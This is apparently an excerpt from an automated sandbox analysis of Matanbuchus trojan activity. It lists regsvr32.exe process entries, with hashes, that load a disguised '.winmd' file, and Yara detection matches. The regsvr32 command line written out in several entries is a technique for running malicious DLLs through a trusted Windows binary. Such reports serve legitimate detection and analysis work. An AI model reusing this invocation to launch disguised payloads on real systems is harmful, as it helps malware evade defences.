Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	16:20:42
Start date:	06/12/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Imagebase:	0x7ff634c10000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	16:20:42
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Imagebase:	0x90000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Matanbuchus_4ce9affb, Description: unknown, Source: 0000000B.00000002.2556127430.0000000004D02000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Matanbuchus_58a61aaa, Description: unknown, Source: 0000000B.00000002.2556127430.0000000004D02000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Matanbuchus, Description: Yara detected Matanbuchus, Source: 0000000B.00000002.2556486132.000000007EBE0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Matanbuchus_4ce9affb, Description: unknown, Source: 0000000B.00000002.2556486132.000000007EBE0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Matanbuchus_58a61aaa, Description: unknown, Source: 0000000B.00000002.2556486132.000000007EBE0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Target ID:	13
Start time:	16:21:42
Start date:	06/12/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe -e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Imagebase:	0x7ff634c10000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	14
Start time:	16:21:42
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	-e -n -i:"C:\Users\user\8f08\813848\813848.winmd" "C:\Users\user\8f08\813848\813848.winmd"
Imagebase:	0x90000
File size:	20'992 bytes
MD5 hash:	878E47C8656E53AE8A8A21E927C6F7E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false